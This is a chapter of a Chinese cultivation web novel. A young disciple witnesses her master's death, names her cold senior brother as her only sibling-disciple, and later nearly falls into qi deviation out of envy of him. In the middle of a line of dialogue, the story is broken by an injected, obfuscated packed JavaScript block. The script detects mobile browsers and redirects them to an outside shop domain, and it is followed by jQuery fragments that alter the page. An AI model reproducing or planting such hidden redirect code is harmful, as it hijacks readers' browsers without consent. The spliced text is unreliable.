4. 挑衅(大修)
作品:《把高岭之花改造成炉鼎后》 怜青宗已经近百年没有听到九声钟鸣了,此刻怜青宗各处先是陷入一片死寂,随后便是一片汹汹的雀喧鸠聚,众人都停下了手里的动作,不约而同望向方才惊雷彻响的地方。
钟鸣九声,渡劫期尊者陨落。
通讯玉简再也没有了别的消息,暗沉沉一片。
到此刻,其实发生了什么并不难猜,只是宋晚汀总归还心存希冀。
她才刚刚拜入怜青宗,有了属于自己的师尊,总不至于让她和师尊的初见便成最后一面吧。
她甚至还没能认真地唤一声师尊呢。
踏入祈遂峰时,她能看见无妄堂前已经汇聚了许多人,宋晚汀一一望过去,那些面孔绝大部分她都很陌生。
可他们仿佛都认识她,见她来了,竟然纷纷后退让出一条路来。
宋晚汀从人群中穿行而过,丛丛视线落在她身上,那些视线里有同情有审视,甚至还有幸灾乐祸,让她恍惚间想起了阿婆死的那年,也是好多人围在阿婆身前,用悲悯的眼神望着她。
宋晚汀走得不慢,可这条路还是像会生长一样,没有尽头。
祈遂峰好大。无妄堂也好大。
在尽头,她抬头见到温惊沂跪在最前方,低垂着脑袋,平日里一尘不染的衣袍似乎沾上了几点不知道存不存在的灰尘。
他似乎感知到有人来了,偏头望过来,那双琉璃色的眼睛弥漫着碎冰,狭长的眼尾泛着浅淡的红。
他好像很难过。
他面上没有半分表情,可宋晚汀偏生就是看出来了难过。
她望着他,想要说些什么,他却突兀地移开了视线,将她的话堵在喉间,涨在心里不上不下的。
她垂下头,忽而听见有道声音唤了她一声:“晚汀。”
是道柔婉似水的女声,声音很小,听起来甚至有几分虚弱。
宋晚汀猛然抬头,便见堂厅尽头的门开了,那声音正是从幽暗漆黑的房内传来的。
温惊沂再次望向她,起身退开身子,似乎想要给她让出道来。
但里头那道声音紧接着便唤了一声“惊沂”。
宋晚汀将视线从昏暗的门上移到了温惊沂脸上,便见他仍旧退后两步,让她走在他身前。
两人一前一后地走着,无声无响,谁也没有说话。
宋晚汀其实极其不习惯有人跟在身后的感觉,就好像会有人在身后窥探、随时捅她一剑一样,总是没有安全感。
但莫名的,温惊沂跟在她身后,她却没有这种感觉。
也许是他光明伟岸的剑道魁首形象实在深入她心,又也许是他根本没有看她,结果不得而知,不过好在这段路并不长,她很快就见到了那道声音的主人。
榻上的女子半倚在云床之上,霜雪般的发丝垂落在肩头,盖住身上风华无限的云光锦,分明行将就木,可那张脸却是极好看的,泛白的唇上还牵着柔美的笑。
可宋晚汀平静扫视一圈,最先注意到的,却是这个陌生女子的眼睛,它蒙着一层化不开的翳,就好像北地上终年不化的一场场雪。
这个人,便是她素未蒙面的师尊,渡桑尊者。
实在可惜,她几乎可以窥见她三百年修至渡劫期时的无限风光,与如今的枯槁模样定然截然不同。
渡桑尊者没有说话,只抬起病翳的眸子望向宋晚汀,视线落了许久,久到宋晚汀开始觉得她是否真的在看她。
那双覆盖着浓雾的眼睛真的能瞧见她吗?
四周好昏暗,叫人没有安全感。
而后她便听见榻上人轻声笑了一下,四周的明珠盏盏亮起,照亮昏暗的屋子。
一旁的温惊沂见状似乎想要说什么,可渡桑尊者却微微抬起手,将他的话掐灭了。
渡桑尊者声音缓慢却柔和:“晚汀,不黑了,上前来。”
宋晚汀心里好似淅淅沥沥地下了一场雨,将心中那些干涸与枯槁都润泽了一遍。
她怕黑,渡桑尊者看出来了。
她上前,似乎有些不习惯这样的场景,跪坐在地,声音有些微小:“师尊。”
这是她这一辈子,唤的第一声师尊,也许同样会是最后一声了。
“晚汀发上的花是什么花?”渡桑尊者眯着眼笑,问出了一个无关紧要的问题。
宋晚汀乖顺地答道:“霜星绒。”
渡桑尊者点点头,笑道:“师尊好没见识,未曾听过。但是师尊瞧着它和你一样,明明媚媚的,像是天上的星星一样,日后定会有大出息。”
宋晚汀点点头,没说话。
渡桑尊者接着道:“可若是她不愿意有大出息,那也可以随遇而安,想去哪便去哪,怜青宗困不住她。”
宋晚汀愣住了,而后感觉到自己的手被一双泛凉的手握住了。
渡桑尊者眼睛里的大雾更浓了,可她还是若无其事地道:“晚汀,师尊对不住你,刚刚收你为徒,便要撒手人寰。”
说到这里的时候,她声音低下去,好像真的有几分难过。
宋晚汀摇摇头,眼睛里不自觉含上了泪珠。
渡桑尊者声音里又夹上了笑,将那些生离死别都化进了云淡风轻里:“师尊这一生只收过两个弟子,师尊走后,惊沂便是你唯一的师兄,若是受了欺负或者遇见难处,一定要去找师兄,他若是不帮你,我便是魂飞魄散了也不会放过他。”
说着,她将视线移到跪在一旁的温惊沂身上,似乎是想要亲眼看着温惊沂点头同意。
宋晚汀也望过去。
温惊沂幅度很轻地点点头。
渡桑尊者握着她的手忽然松开了些,她惊惶地望向榻上的人,却见师尊仍旧望着温惊沂的方向,最后轻轻叹了口气。
“你师兄从没体会过爱,所以他不懂,看起来总是像一块化不掉的冰,晚汀要多担待。”她最后又望向宋晚汀,眼睛里的浓雾已经可以遮云蔽日。
宋晚汀忽然想到,这些亮着的明珠,落在师尊眼里,会不会也只是微弱昏暗的光呢。
渡桑尊者似乎还有千言万语要说,可最后开口时,唯有一句:“晚汀,惊沂,要好好活着。”
那双握着宋晚汀的手彻底垂落,一屋的明珠慢慢暗了下去,似乎在为之哀悼。
宋晚汀再也藏不住眼睛里的眼泪,为这陌生的情谊而失语。
在这之前,她其实不认识师尊,不知道师尊叫什么名字,不知道师尊的生平,也从未和师尊相处过,可却好像有哭不完的悲。
九声钟鸣再次传来,盖住了她压抑的低泣。
外头下起了连绵的阴雨,雷云散去了。
一片死寂声中,她偏头,看向此后她在世间唯一的师兄——他眼眶通红,垂在身侧的手颤抖着,低垂着头,好像有不散的乌云压在他头顶。
听柳师姐说,她会是温惊沂唯一的师妹。
现在她想说,温惊沂,是她此生唯一的师兄。
哪怕他不愿意看她,哪怕他没那么喜欢她,她和他之间也永远有斩不断的关系。
她缓步走到他身边,道了一声:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956926|193170||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师兄。”
最后一声“师尊”后,紧接着的,是第一声“师兄”。
她看见温惊沂抬头看她,那双悲戚的眼睛里灰蒙蒙的,而后熄灭的明珠再次亮起,照亮她眼睛里那片晶莹的海。
*
渡桑尊者陨落于飞升时的第三道天雷,那道天雷劈散了渡桑尊者的神魂,唯余最后一丝意识在人间残喘。
听人说,神魂散了的人,是不能见光的,会加速消散。
所以初时,屋中是一片昏暗。
可惜宋晚汀后来听师姐提起才知道。
那日她又去了仙冢,愣了好久的神,对着师尊的牌位拜了又拜,谢了又谢。
其实修士死后不会留下尸首,会直接消散在天地间,但为了给活着的人一份念想,怜青宗会设立衣冠冢,里头会藏故去的人的一缕神念。
可惜宋晚汀无论如何也感受不到师尊的神念。
渡桑尊者陨落的阴云在整个怜青宗盘旋了许久,最终渐渐消散,而后怜青宗迎来了天榜的又一次洗牌。
听同门弟子说,是妖鬼之主有了异动,天榜第二的那位师兄不幸碰上了一次小型的妖鬼潮,最终不敌,陨落在外。
宋晚汀没去看更新的天榜,首先,她的名字没在上面,更新一万次也不关她的事;其次,她从未见过天榜第二的师兄,谈不上有多难过;最后,温惊沂的名字台天榜上也没任何变化,她没必要去看。
想到这里,她心里对于温惊沂的忮忌反倒胜过对那位天榜第二的师兄境况的唏嘘。
不知道这些未曾见面的日子,温惊沂的修为是不是又长进了。
再反观她,自打进入金丹期后,不论她如何不眠不休地修炼,修为也还是一寸不涨。
哈,真羡慕你啊,温惊沂。
夜里宋晚汀修炼到浑身发汗时想到这里,忽然便吐出了一口血。
她竟然隐隐有要走火入魔的架势。
这些日子,她的确很是躁郁,为了维持住新弟子中唯一一个火系单灵根的荣誉,她对于修为的执念几乎要塞满整个头脑。
她享受着同门对她修为的吹捧,觉得自己总有天也能称得上是天才。
所以她急切、拼命。
可没想到,最后竟然快要走火入魔。
郁血吐出来后,她去了医仙堂,
医仙堂的师姐说她的情况并不算严重,只需要服下清郁丹即可。
宋晚汀当即便放下心来,二话没说服下了丹药。
而后,便听见师姐补充的一句:“清郁丹尽量还是单独在自己洞府里服用……会——”
话还没听完,宋晚汀便知道后文了。
会哭。
大哭特哭的那种。
宋晚汀克制不住地在抽泣,心里那股忮忌和躁郁好像更浓郁了。
而后,不知为何,周围忽然安静起来,只剩下她竭力压制的抽泣声。
她抬头,睁开被泪水迷蒙住的瞳珠,见到了许久不见的人。
温惊沂立在门口的地方,一身月白的衣袍一尘不染,他静默地望着她,神色疏离又淡漠。
宋晚汀或许产生了幻觉,竟然能从他身上看到盈溢流转的灵气。
他是不是又破境了。
他是不是来挑衅她的。
宋晚汀望着这个让她忮忌的源头,满怀恶意地想着。
而后她便听见他不咸不淡地开口:“你哭什么?”
她这下确定了。
这个人肯定就是来挑衅她的。

